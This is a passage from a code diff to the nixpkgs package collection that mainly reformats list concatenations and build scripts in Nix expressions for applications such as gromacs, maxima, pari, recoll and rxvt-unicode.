-      "--set CUDA_LIBRARY_PATH ${addDriverRunpath.driverLink}/lib/libcuda.so"
-    ];
+  wrapProgramFlags = [
+    "--prefix LD_LIBRARY_PATH : ${
+      lib.makeLibraryPath [
+        dbus
+        gcc-unwrapped.lib
+        zlib
+      ]
+    }"
+    "--prefix PATH : ${lib.makeBinPath [ stdenv.cc ]}"
+    # Fix libQt errors - #96490
+    "--set USE_WOLFRAM_LD_LIBRARY_PATH 1"
+    # Fix xkeyboard config path for Qt
+    "--set QT_XKB_CONFIG_ROOT ${xkeyboard_config}/share/X11/xkb"
+    # if wayland isn't supported we fail over to xcb
+    # see https://github.com/qt/qtbase/blob/35d0f012ee9b95e8cf3563a41d710ff3c023d841/src/gui/kernel/qguiapplication.cpp#L1218
+    "--set QT_QPA_PLATFORM wayland;xcb"
+  ]
+  ++ lib.optionals cudaSupport [
+    "--set CUDA_PATH ${cudaEnv}"
+    "--set NVIDIA_DRIVER_LIBRARY_PATH ${addDriverRunpath.driverLink}/lib/libnvidia-tls.so"
+    "--set CUDA_LIBRARY_PATH ${addDriverRunpath.driverLink}/lib/libcuda.so"
+  ];
 
   unpackPhase = ''
     runHook preUnpack
diff --git a/pkgs/applications/science/math/maxima/default.nix b/pkgs/applications/science/math/maxima/default.nix
index 632bc9e4d1b3..f93929880410 100644
--- a/pkgs/applications/science/math/maxima/default.nix
+++ b/pkgs/applications/science/math/maxima/default.nix
@@ -52,19 +52,18 @@ stdenv.mkDerivation (finalAttrs: {
     substituteInPlace doc/info/Makefile.am --replace "/usr/bin/env perl" "${perl}/bin/perl"
   '';
 
-  postInstall =
-    ''
-      # Make sure that maxima can find its runtime dependencies.
-      for prog in "$out/bin/"*; do
-        wrapProgram "$prog" --prefix PATH ":" "$out/bin:${searchPath}"
-      done
-      # Move documentation into the right place.
-      mkdir -p $out/share/doc
-      ln -s ../maxima/${finalAttrs.version}/doc $out/share/doc/maxima
-    ''
-    + (lib.optionalString (lisp-compiler.pname == "ecl") ''
-      cp src/binary-ecl/maxima.fas* "$out/lib/maxima/${finalAttrs.version}/binary-ecl/"
-    '');
+  postInstall = ''
+    # Make sure that maxima can find its runtime dependencies.
+    for prog in "$out/bin/"*; do
+      wrapProgram "$prog" --prefix PATH ":" "$out/bin:${searchPath}"
+    done
+    # Move documentation into the right place.
+    mkdir -p $out/share/doc
+    ln -s ../maxima/${finalAttrs.version}/doc $out/share/doc/maxima
+  ''
+  + (lib.optionalString (lisp-compiler.pname == "ecl") ''
+    cp src/binary-ecl/maxima.fas* "$out/lib/maxima/${finalAttrs.version}/binary-ecl/"
+  '');
 
   patches = [
     # fix path to info dir (see https://trac.sagemath.org/ticket/11348)
diff --git a/pkgs/applications/science/math/pari/default.nix b/pkgs/applications/science/math/pari/default.nix
index 46a90105b61f..d51d6875cbc2 100644
--- a/pkgs/applications/science/math/pari/default.nix
+++ b/pkgs/applications/science/math/pari/default.nix
@@ -26,23 +26,23 @@ stdenv.mkDerivation rec {
     hash = "sha256-fTBXj1z5exN6KB9FSNExqvwM3oa8/RDMHhvXKoHmUGE=";
   };
 
-  buildInputs =
-    [
-      gmp
-      libX11
-      perl
-      readline
-      texliveBasic
-    ]
-    ++ lib.optionals withThread [
-      libpthreadstubs
-    ];
+  buildInputs = [
+    gmp
+    libX11
+    perl
+    readline
+    texliveBasic
+  ]
+  ++ lib.optionals withThread [
+    libpthreadstubs
+  ];
 
   configureScript = "./Configure";
   configureFlags = [
     "--with-gmp=${lib.getDev gmp}"
     "--with-readline=${lib.getDev readline}"
-  ] ++ lib.optional withThread "--mt=pthread";
+  ]
+  ++ lib.optional withThread "--mt=pthread";
 
   preConfigure = ''
     export LD=$CC
diff --git a/pkgs/applications/science/math/weka/default.nix b/pkgs/applications/science/math/weka/default.nix
index bb255dc52c6c..e7b94aa9eb61 100644
--- a/pkgs/applications/science/math/weka/default.nix
+++ b/pkgs/applications/science/math/weka/default.nix
@@ -25,7 +25,8 @@ stdenv.mkDerivation rec {
     makeWrapper
     unzip
     imagemagick
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ copyDesktopItems ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ copyDesktopItems ];
 
   # The -Xmx1000M comes suggested from their download page:
   # https://www.cs.waikato.ac.nz/ml/weka/downloading.html
diff --git a/pkgs/applications/science/math/wolfram-engine/default.nix b/pkgs/applications/science/math/wolfram-engine/default.nix
index bd3d9fbf769c..f597da73c190 100644
--- a/pkgs/applications/science/math/wolfram-engine/default.nix
+++ b/pkgs/applications/science/math/wolfram-engine/default.nix
@@ -43,42 +43,41 @@ stdenv.mkDerivation rec {
   ];
   dontWrapQtApps = true;
 
-  buildInputs =
-    [
-      alsa-lib
-      dbus
-      fontconfig
-      freetype
-      gcc.cc
-      gcc.libc
-      glib
-      libssh2
-      ncurses
-      opencv4
-      openssl
-      (lib.getLib stdenv.cc.cc)
-      unixODBC
-      xkeyboard_config
-      libxml2
-      libuuid
-      zlib
-      libGL
-      libGLU
-    ]
-    ++ (with xorg; [
-      libX11
-      libXext
-      libXtst
-      libXi
-      libXmu
-      libXrender
-      libxcb
-      libXcursor
-      libXfixes
-      libXrandr
-      libICE
-      libSM
-    ]);
+  buildInputs = [
+    alsa-lib
+    dbus
+    fontconfig
+    freetype
+    gcc.cc
+    gcc.libc
+    glib
+    libssh2
+    ncurses
+    opencv4
+    openssl
+    (lib.getLib stdenv.cc.cc)
+    unixODBC
+    xkeyboard_config
+    libxml2
+    libuuid
+    zlib
+    libGL
+    libGLU
+  ]
+  ++ (with xorg; [
+    libX11
+    libXext
+    libXtst
+    libXi
+    libXmu
+    libXrender
+    libxcb
+    libXcursor
+    libXfixes
+    libXrandr
+    libICE
+    libSM
+  ]);
 
   # some bundled libs are found through LD_LIBRARY_PATH
   autoPatchelfIgnoreMissingDeps = true;
diff --git a/pkgs/applications/science/math/yacas/default.nix b/pkgs/applications/science/math/yacas/default.nix
index 26744a19f86f..27617bf98b52 100644
--- a/pkgs/applications/science/math/yacas/default.nix
+++ b/pkgs/applications/science/math/yacas/default.nix
@@ -58,29 +58,27 @@ stdenv.mkDerivation rec {
   ];
   doCheck = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      # Perl is only for the documentation
-      perl
-    ]
-    ++ lib.optionals enableJava [
-      openjdk
-    ];
-  buildInputs =
-    [
-    ]
-    ++ lib.optionals enableGui [
-      qtbase
-      wrapQtAppsHook
-      qtwebengine
-    ]
-    ++ lib.optionals enableJupyter [
-      boost
-      jsoncpp
-      openssl
-      zmqpp
-    ];
+  nativeBuildInputs = [
+    cmake
+    # Perl is only for the documentation
+    perl
+  ]
+  ++ lib.optionals enableJava [
+    openjdk
+  ];
+  buildInputs = [
+  ]
+  ++ lib.optionals enableGui [
+    qtbase
+    wrapQtAppsHook
+    qtwebengine
+  ]
+  ++ lib.optionals enableJupyter [
+    boost
+    jsoncpp
+    openssl
+    zmqpp
+  ];
 
   meta = {
     description = "Easy to use, general purpose Computer Algebra System${lib.optionalString enableGui ", built with GUI."}";
diff --git a/pkgs/applications/science/misc/boinc/default.nix b/pkgs/applications/science/misc/boinc/default.nix
index bc3fd08bdae1..5d03eb36faf8 100644
--- a/pkgs/applications/science/misc/boinc/default.nix
+++ b/pkgs/applications/science/misc/boinc/default.nix
@@ -46,27 +46,26 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      curl
-      sqlite
-      patchelf
-    ]
-    ++ lib.optionals (!headless) [
-      libGLU
-      libGL
-      libXmu
-      libXi
-      libglut
-      libjpeg
-      wxGTK32
-      gtk3
-      libXScrnSaver
-      libnotify
-      libX11
-      libxcb
-      xcbutil
-    ];
+  buildInputs = [
+    curl
+    sqlite
+    patchelf
+  ]
+  ++ lib.optionals (!headless) [
+    libGLU
+    libGL
+    libXmu
+    libXi
+    libglut
+    libjpeg
+    wxGTK32
+    gtk3
+    libXScrnSaver
+    libnotify
+    libX11
+    libxcb
+    xcbutil
+  ];
 
   NIX_LDFLAGS = lib.optionalString (!headless) "-lX11";
 
@@ -79,7 +78,8 @@ stdenv.mkDerivation rec {
   configureFlags = [
     "--disable-server"
     "--sysconfdir=${placeholder "out"}/etc"
-  ] ++ lib.optionals headless [ "--disable-manager" ];
+  ]
+  ++ lib.optionals headless [ "--disable-manager" ];
 
   postInstall = ''
     install --mode=444 -D 'client/scripts/boinc-client.service' "$out/etc/systemd/system/boinc.service"
diff --git a/pkgs/applications/science/misc/colmap/default.nix b/pkgs/applications/science/misc/colmap/default.nix
index 39c5798ff096..510efeded5de 100644
--- a/pkgs/applications/science/misc/colmap/default.nix
+++ b/pkgs/applications/science/misc/colmap/default.nix
@@ -50,35 +50,33 @@ stdenv'.mkDerivation rec {
     ))
   ];
 
-  buildInputs =
-    [
-      boost_static
-      ceres-solver
-      eigen
-      freeimage
-      glog
-      libGLU
-      glew
-      qtbase
-      flann
-      cgal
-      gmp
-      mpfr
-      xorg.libSM
-    ]
-    ++ lib.optionals cudaSupport [
-      cudatoolkit
-      cudaPackages.cuda_cudart.static
-    ];
+  buildInputs = [
+    boost_static
+    ceres-solver
+    eigen
+    freeimage
+    glog
+    libGLU
+    glew
+    qtbase
+    flann
+    cgal
+    gmp
+    mpfr
+    xorg.libSM
+  ]
+  ++ lib.optionals cudaSupport [
+    cudatoolkit
+    cudaPackages.cuda_cudart.static
+  ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      qt5.wrapQtAppsHook
-    ]
-    ++ lib.optionals cudaSupport [
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+    qt5.wrapQtAppsHook
+  ]
+  ++ lib.optionals cudaSupport [
+    autoAddDriverRunpath
+  ];
 
   meta = with lib; {
     description = "COLMAP - Structure-From-Motion and Multi-View Stereo pipeline";
diff --git a/pkgs/applications/science/misc/golly/default.nix b/pkgs/applications/science/misc/golly/default.nix
index ed983b878d40..b45a945fec46 100644
--- a/pkgs/applications/science/misc/golly/default.nix
+++ b/pkgs/applications/science/misc/golly/default.nix
@@ -42,17 +42,16 @@ stdenv.mkDerivation (finalAttrs: {
     sourceRoot=$(echo */gui-wx)
   '';
 
-  postPatch =
-    ''
-      substituteInPlace wxprefs.cpp \
-        --replace-fail 'PYTHON_SHLIB' '${python3}/lib/libpython3.so'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace makefile-gtk \
-        --replace-fail '-Wl,--as-needed' "" \
-        --replace-fail '-lGL ' "" \
-        --replace-fail '-lGLU' ""
-    '';
+  postPatch = ''
+    substituteInPlace wxprefs.cpp \
+      --replace-fail 'PYTHON_SHLIB' '${python3}/lib/libpython3.so'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace makefile-gtk \
+      --replace-fail '-Wl,--as-needed' "" \
+      --replace-fail '-lGL ' "" \
+      --replace-fail '-lGLU' ""
+  '';
 
   makeFlags = [
     "-f"
diff --git a/pkgs/applications/science/misc/openmodelica/mkderivation/default.nix b/pkgs/applications/science/misc/openmodelica/mkderivation/default.nix
index e1807fe82bd2..c5b7648e5558 100644
--- a/pkgs/applications/science/misc/openmodelica/mkderivation/default.nix
+++ b/pkgs/applications/science/misc/openmodelica/mkderivation/default.nix
@@ -71,8 +71,7 @@ let
 
   # Tell OpenModelica where built dependencies are located.
   configureFlags =
-    lib.optional ifDeps "--with-openmodelicahome=${joinedDeps}"
-    ++ getAttrDef "configureFlags" [ ] pkg;
+    lib.optional ifDeps "--with-openmodelicahome=${joinedDeps}" ++ getAttrDef "configureFlags" [ ] pkg;
 
   # Our own configurePhase that accounts for omautoconf
   configurePhase = ''
@@ -87,13 +86,12 @@ let
   deptargets = lib.forEach pkg.omdeps (dep: dep.omtarget);
 
   # ... so we ask openmodelica makefile to skip those targets.
-  preBuild =
-    ''
-      for target in ${concatStringsSep " " deptargets}; do
-        touch ''${target}.skip;
-      done
-    ''
-    + appendByAttr "preBuild" "\n" pkg;
+  preBuild = ''
+    for target in ${concatStringsSep " " deptargets}; do
+      touch ''${target}.skip;
+    done
+  ''
+  + appendByAttr "preBuild" "\n" pkg;
 
   makeFlags = "${omtarget}" + appendByAttr "makeFlags" " " pkg;
 
diff --git a/pkgs/applications/science/misc/openmodelica/omcompiler/default.nix b/pkgs/applications/science/misc/openmodelica/omcompiler/default.nix
index 3d0891648267..aae2c071fc35 100644
--- a/pkgs/applications/science/misc/openmodelica/omcompiler/default.nix
+++ b/pkgs/applications/science/misc/openmodelica/omcompiler/default.nix
@@ -35,7 +35,8 @@ mkOpenModelicaDerivation (
       flex
       bison
       pkg-config
-    ] ++ lib.optional isCross nativeOMCompiler;
+    ]
+    ++ lib.optional isCross nativeOMCompiler;
 
     buildInputs = [
       targetPackages.stdenv.cc.cc
diff --git a/pkgs/applications/science/misc/openmvg/default.nix b/pkgs/applications/science/misc/openmvg/default.nix
index caacdd108819..8f757c3ae865 100644
--- a/pkgs/applications/science/misc/openmvg/default.nix
+++ b/pkgs/applications/science/misc/openmvg/default.nix
@@ -67,7 +67,8 @@ stdenv.mkDerivation rec {
     "-DCOINUTILS_INCLUDE_DIR_HINTS=${lib.getDev coin-utils}/include"
     "-DLEMON_INCLUDE_DIR_HINTS=${lib.getDev lemon-graph}/include"
     "-DOSI_INCLUDE_DIR_HINTS=${lib.getDev osi}/include"
-  ] ++ lib.optional enableShared "-DOpenMVG_BUILD_SHARED=ON";
+  ]
+  ++ lib.optional enableShared "-DOpenMVG_BUILD_SHARED=ON";
 
   cmakeDir = "./src";
 
diff --git a/pkgs/applications/science/misc/tulip/default.nix b/pkgs/applications/science/misc/tulip/default.nix
index 747231e738bc..1fa111378329 100644
--- a/pkgs/applications/science/misc/tulip/default.nix
+++ b/pkgs/applications/science/misc/tulip/default.nix
@@ -28,22 +28,22 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     cmake
     wrapQtAppsHook
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
-  buildInputs =
-    [
-      libxml2
-      freetype
-      glew
-      libjpeg
-      qtbase
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libGLU
-      libGL
-    ];
+  buildInputs = [
+    libxml2
+    freetype
+    glew
+    libjpeg
+    qtbase
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libGLU
+    libGL
+  ];
 
   qtWrapperArgs = [ ''--prefix PATH : ${lib.makeBinPath [ python3 ]}'' ];
 
diff --git a/pkgs/applications/science/molecular-dynamics/gromacs/default.nix b/pkgs/applications/science/molecular-dynamics/gromacs/default.nix
index d8bc2a855598..f13c5487a4bf 100644
--- a/pkgs/applications/science/molecular-dynamics/gromacs/default.nix
+++ b/pkgs/applications/science/molecular-dynamics/gromacs/default.nix
@@ -79,67 +79,66 @@ stdenv.mkDerivation rec {
     "man"
   ];
 
-  nativeBuildInputs =
-    [ cmake ]
-    ++ lib.optional enablePlumed plumed
-    ++ lib.optionals enableCuda [ cudaPackages.cuda_nvcc ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optional enablePlumed plumed
+  ++ lib.optionals enableCuda [ cudaPackages.cuda_nvcc ];
 
-  buildInputs =
-    [
-      fftw
-      perl
-      hwloc
-      blas
-      lapack
-    ]
-    ++ lib.optional enableMpi mpi
-    ++ lib.optionals enableCuda [
-      cudaPackages.cuda_cccl
-      cudaPackages.cuda_cudart
-      cudaPackages.libcufft
-      cudaPackages.cuda_profiler_api
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
+  buildInputs = [
+    fftw
+    perl
+    hwloc
+    blas
+    lapack
+  ]
+  ++ lib.optional enableMpi mpi
+  ++ lib.optionals enableCuda [
+    cudaPackages.cuda_cccl
+    cudaPackages.cuda_cudart
+    cudaPackages.libcufft
+    cudaPackages.cuda_profiler_api
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
 
   propagatedBuildInputs = lib.optional enableMpi mpi;
   propagatedUserEnvPkgs = lib.optional enableMpi mpi;
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "GMX_HWLOC" true)
-      "-DGMX_SIMD:STRING=${SIMD cpuAcceleration}"
-      "-DGMX_OPENMP:BOOL=TRUE"
-      "-DBUILD_SHARED_LIBS=ON"
-    ]
-    ++ (
-      if singlePrec then
-        [
-          "-DGMX_DOUBLE=OFF"
-        ]
-      else
-        [
-          "-DGMX_DOUBLE=ON"
-          "-DGMX_DEFAULT_SUFFIX=OFF"
-        ]
-    )
-    ++ (
-      if enableMpi then
-        [
-          "-DGMX_MPI:BOOL=TRUE"
-          "-DGMX_THREAD_MPI:BOOL=FALSE"
-        ]
-      else
-        [
-          "-DGMX_MPI:BOOL=FALSE"
-        ]
-    )
-    ++ lib.optionals enableCuda [
-      "-DGMX_GPU=CUDA"
-      (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cmakeCudaArchitecturesString)
+  cmakeFlags = [
+    (lib.cmakeBool "GMX_HWLOC" true)
+    "-DGMX_SIMD:STRING=${SIMD cpuAcceleration}"
+    "-DGMX_OPENMP:BOOL=TRUE"
+    "-DBUILD_SHARED_LIBS=ON"
+  ]
+  ++ (
+    if singlePrec then
+      [
+        "-DGMX_DOUBLE=OFF"
+      ]
+    else
+      [
+        "-DGMX_DOUBLE=ON"
+        "-DGMX_DEFAULT_SUFFIX=OFF"
+      ]
+  )
+  ++ (
+    if enableMpi then
+      [
+        "-DGMX_MPI:BOOL=TRUE"
+        "-DGMX_THREAD_MPI:BOOL=FALSE"
+      ]
+    else
+      [
+        "-DGMX_MPI:BOOL=FALSE"
+      ]
+  )
+  ++ lib.optionals enableCuda [
+    "-DGMX_GPU=CUDA"
+    (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cmakeCudaArchitecturesString)
 
-      # Gromacs seems to ignore and override the normal variables, so we add this ad hoc:
-      (lib.cmakeFeature "GMX_CUDA_TARGET_COMPUTE" cmakeCudaArchitecturesString)
-    ];
+    # Gromacs seems to ignore and override the normal variables, so we add this ad hoc:
+    (lib.cmakeFeature "GMX_CUDA_TARGET_COMPUTE" cmakeCudaArchitecturesString)
+  ];
 
   postInstall = ''
     moveToOutput share/cmake $dev
diff --git a/pkgs/applications/science/physics/crystfel/default.nix b/pkgs/applications/science/physics/crystfel/default.nix
index 7ec0a5b8b991..23804c22c700 100644
--- a/pkgs/applications/science/physics/crystfel/default.nix
+++ b/pkgs/applications/science/physics/crystfel/default.nix
@@ -229,31 +229,31 @@ stdenv.mkDerivation rec {
     doxygen
     opencl-headers
     makeWrapper
-  ] ++ lib.optionals withGui [ wrapGAppsHook3 ];
-  buildInputs =
-    [
-      hdf5
-      gsl
-      ncurses
-      msgpack
-      fftw
-      fdip
-      zeromq
-      ocl-icd
-      libccp4
-      mosflm
-      pinkIndexer
-      xgandalf
-      pandoc
-    ]
-    ++ lib.optionals withGui [
-      gtk3
-      gdk-pixbuf
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      argp-standalone
-    ]
-    ++ lib.optionals withBitshuffle [ hdf5-external-filter-plugins ];
+  ]
+  ++ lib.optionals withGui [ wrapGAppsHook3 ];
+  buildInputs = [
+    hdf5
+    gsl
+    ncurses
+    msgpack
+    fftw
+    fdip
+    zeromq
+    ocl-icd
+    libccp4
+    mosflm
+    pinkIndexer
+    xgandalf
+    pandoc
+  ]
+  ++ lib.optionals withGui [
+    gtk3
+    gdk-pixbuf
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    argp-standalone
+  ]
+  ++ lib.optionals withBitshuffle [ hdf5-external-filter-plugins ];
 
   patches = [
     # on darwin at least, we need to link to a separate argp library;
diff --git a/pkgs/applications/science/robotics/mavproxy/default.nix b/pkgs/applications/science/robotics/mavproxy/default.nix
index ff3cee1e5f59..e53a0504cd46 100644
--- a/pkgs/applications/science/robotics/mavproxy/default.nix
+++ b/pkgs/applications/science/robotics/mavproxy/default.nix
@@ -26,21 +26,20 @@ buildPythonApplication rec {
     hash = "sha256-A7tqV1kBCSuWHJUTdUZGcPY/r7X1edGZs6xDctpMbMI=";
   };
 
-  propagatedBuildInputs =
-    [
-      lxml
-      matplotlib
-      numpy
-      opencv-python
-      pymavlink
-      pyserial
-      setuptools
-      wxpython
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      billiard
-      gnureadline
-    ];
+  propagatedBuildInputs = [
+    lxml
+    matplotlib
+    numpy
+    opencv-python
+    pymavlink
+    pyserial
+    setuptools
+    wxpython
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    billiard
+    gnureadline
+  ];
 
   # No tests
   doCheck = false;
diff --git a/pkgs/applications/search/recoll/default.nix b/pkgs/applications/search/recoll/default.nix
index 21911c93390d..92aac25623f1 100644
--- a/pkgs/applications/search/recoll/default.nix
+++ b/pkgs/applications/search/recoll/default.nix
@@ -82,29 +82,28 @@ mkDerivation rec {
     hash = "sha256-FbDXknumjktcikOfAe4FKtPmggJGGHasq8dpD+8mNzE=";
   };
 
-  mesonFlags =
-    [
-      "-Drecollq=true"
-      "-Dwebkit=false"
-      "-Dsystemd=false"
+  mesonFlags = [
+    "-Drecollq=true"
+    "-Dwebkit=false"
+    "-Dsystemd=false"
 
-      # this leaks into the final `librecoll-*.so` binary, so we need
-      # to be sure it is taken from `pkgs.file` rather than `stdenv`,
-      # especially when cross-compiling
-      "-Dfile-command=${file}/bin/file"
+    # this leaks into the final `librecoll-*.so` binary, so we need
+    # to be sure it is taken from `pkgs.file` rather than `stdenv`,
+    # especially when cross-compiling
+    "-Dfile-command=${file}/bin/file"
 
-    ]
-    ++ lib.optionals (!withPython) [
-      "-Dpython-module=false"
-      "-Dpython-chm=false"
-    ]
-    ++ lib.optionals (!withGui) [
-      "-Dqtgui=false"
-      "-Dx11mon=false"
-    ]
-    ++ [
-      "-Dinotify=${useInotify}"
-    ];
+  ]
+  ++ lib.optionals (!withPython) [
+    "-Dpython-module=false"
+    "-Dpython-chm=false"
+  ]
+  ++ lib.optionals (!withGui) [
+    "-Dqtgui=false"
+    "-Dx11mon=false"
+  ]
+  ++ [
+    "-Dinotify=${useInotify}"
+  ];
 
   env.NIX_CFLAGS_COMPILE = toString [
     "-fpermissive" # libxml2-2.12 changed const qualifiers
@@ -115,43 +114,41 @@ mkDerivation rec {
     ./0001-no-qtgui-darwin-bundle.patch
   ];
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      meson
-      ninja
-      pkg-config
-      which
-    ]
-    ++ lib.optionals withGui [
-      qtbase
-      qttools
-    ]
-    ++ lib.optionals withPython [
-      python3Packages.setuptools
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    meson
+    ninja
+    pkg-config
+    which
+  ]
+  ++ lib.optionals withGui [
+    qtbase
+    qttools
+  ]
+  ++ lib.optionals withPython [
+    python3Packages.setuptools
+  ];
 
-  buildInputs =
-    [
-      aspell
-      bison
-      chmlib
-    ]
-    ++ lib.optionals withPython [
-      python3Packages.python
-      python3Packages.mutagen
-    ]
-    ++ [
-      xapian
-      zlib
-      file
-    ]
-    ++ lib.optionals withGui [
-      qtbase
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    aspell
+    bison
+    chmlib
+  ]
+  ++ lib.optionals withPython [
+    python3Packages.python
+    python3Packages.mutagen
+  ]
+  ++ [
+    xapian
+    zlib
+    file
+  ]
+  ++ lib.optionals withGui [
+    qtbase
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   qtWrapperArgs = [
     "--prefix PATH : ${filterPath}"
@@ -160,39 +157,38 @@ mkDerivation rec {
   # the filters search through ${PATH} using a sh proc 'checkcmds' for the
   # filtering utils. Short circuit this by replacing the filtering command with
   # the absolute path to the filtering command.
-  postInstall =
-    ''
-      substituteInPlace $out/lib/*/site-packages/recoll/rclconfig.py --replace /usr/share/recoll $out/share/recoll
-      substituteInPlace $out/share/recoll/filters/rclconfig.py       --replace /usr/share/recoll $out/share/recoll
-      for f in $out/share/recoll/filters/* ; do
-        if [[ ! "$f" =~ \.zip$ ]]; then
-    ''
-    + lib.concatStrings (
-      lib.mapAttrsToList (k: v: (''
-        substituteInPlace $f --replace '"${k}"'  '"${lib.getBin v}/bin/${k}"'
-      '')) filters
-    )
-    + ''
-          substituteInPlace $f --replace '"pstotext"'  '"${lib.getBin ghostscript}/bin/ps2ascii"'
-          substituteInPlace $f --replace /usr/bin/perl   ${
-            lib.getBin (perl.passthru.withPackages (p: [ p.ImageExifTool ]))
-          }/bin/perl
-        fi
-      done
-      wrapProgram $out/share/recoll/filters/rclaudio.py \
-        --prefix PYTHONPATH : $PYTHONPATH
-      wrapProgram $out/share/recoll/filters/rcljoplin.py \
-        --prefix PYTHONPATH : $out/${python3Packages.python.sitePackages}
-      wrapProgram $out/share/recoll/filters/rclimg \
-        --prefix PERL5LIB : "${with perlPackages; makeFullPerlPath [ ImageExifTool ]}"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace  $f --replace '"lyx"' '"${lib.getBin lyx}/bin/lyx"'
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isDarwin && withGui) ''
-      mkdir $out/Applications
-      mv $out/bin/recoll.app $out/Applications
-    '';
+  postInstall = ''
+    substituteInPlace $out/lib/*/site-packages/recoll/rclconfig.py --replace /usr/share/recoll $out/share/recoll
+    substituteInPlace $out/share/recoll/filters/rclconfig.py       --replace /usr/share/recoll $out/share/recoll
+    for f in $out/share/recoll/filters/* ; do
+      if [[ ! "$f" =~ \.zip$ ]]; then
+  ''
+  + lib.concatStrings (
+    lib.mapAttrsToList (k: v: (''
+      substituteInPlace $f --replace '"${k}"'  '"${lib.getBin v}/bin/${k}"'
+    '')) filters
+  )
+  + ''
+        substituteInPlace $f --replace '"pstotext"'  '"${lib.getBin ghostscript}/bin/ps2ascii"'
+        substituteInPlace $f --replace /usr/bin/perl   ${
+          lib.getBin (perl.passthru.withPackages (p: [ p.ImageExifTool ]))
+        }/bin/perl
+      fi
+    done
+    wrapProgram $out/share/recoll/filters/rclaudio.py \
+      --prefix PYTHONPATH : $PYTHONPATH
+    wrapProgram $out/share/recoll/filters/rcljoplin.py \
+      --prefix PYTHONPATH : $out/${python3Packages.python.sitePackages}
+    wrapProgram $out/share/recoll/filters/rclimg \
+      --prefix PERL5LIB : "${with perlPackages; makeFullPerlPath [ ImageExifTool ]}"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace  $f --replace '"lyx"' '"${lib.getBin lyx}/bin/lyx"'
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && withGui) ''
+    mkdir $out/Applications
+    mv $out/bin/recoll.app $out/Applications
+  '';
 
   # create symlink after fixup to prevent double wrapping of recoll
   postFixup = lib.optionalString (stdenv.hostPlatform.isDarwin && withGui) ''
diff --git a/pkgs/applications/system/glances/default.nix b/pkgs/applications/system/glances/default.nix
index 997d2cc38e10..c1469908ee13 100644
--- a/pkgs/applications/system/glances/default.nix
+++ b/pkgs/applications/system/glances/default.nix
@@ -66,7 +66,8 @@ buildPythonApplication rec {
     jinja2
     which
     prometheus-client
-  ] ++ lib.optional stdenv.hostPlatform.isLinux hddtemp;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux hddtemp;
 
   passthru.tests = {
     service = nixosTests.glances;
diff --git a/pkgs/applications/terminal-emulators/cool-retro-term/default.nix b/pkgs/applications/terminal-emulators/cool-retro-term/default.nix
index ee47e968d8b0..2e91884aa2d2 100644
--- a/pkgs/applications/terminal-emulators/cool-retro-term/default.nix
+++ b/pkgs/applications/terminal-emulators/cool-retro-term/default.nix
@@ -37,15 +37,14 @@ mkDerivation rec {
 
   installFlags = [ "INSTALL_ROOT=$(out)" ];
 
-  preFixup =
-    ''
-      mv $out/usr/share $out/share
-      mv $out/usr/bin $out/bin
-      rmdir $out/usr
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      ln -s $out/bin/cool-retro-term.app/Contents/MacOS/cool-retro-term $out/bin/cool-retro-term
-    '';
+  preFixup = ''
+    mv $out/usr/share $out/share
+    mv $out/usr/bin $out/bin
+    rmdir $out/usr
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    ln -s $out/bin/cool-retro-term.app/Contents/MacOS/cool-retro-term $out/bin/cool-retro-term
+  '';
 
   passthru.tests.test = nixosTests.terminal-emulators.cool-retro-term;
 
diff --git a/pkgs/applications/terminal-emulators/rxvt-unicode/default.nix b/pkgs/applications/terminal-emulators/rxvt-unicode/default.nix
index e732da52817c..5e090cfd4f2a 100644
--- a/pkgs/applications/terminal-emulators/rxvt-unicode/default.nix
+++ b/pkgs/applications/terminal-emulators/rxvt-unicode/default.nix
@@ -65,22 +65,21 @@ stdenv.mkDerivation {
   };
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      libX11
-      libXt
-      libXft
-      ncurses # required to build the terminfo file
-      fontconfig
-      freetype
-      libXrender
-      libptytty
-    ]
-    ++ lib.optionals perlSupport [
-      perl
-      libXext
-    ]
-    ++ lib.optional gdkPixbufSupport gdk-pixbuf;
+  buildInputs = [
+    libX11
+    libXt
+    libXft
+    ncurses # required to build the terminfo file
+    fontconfig
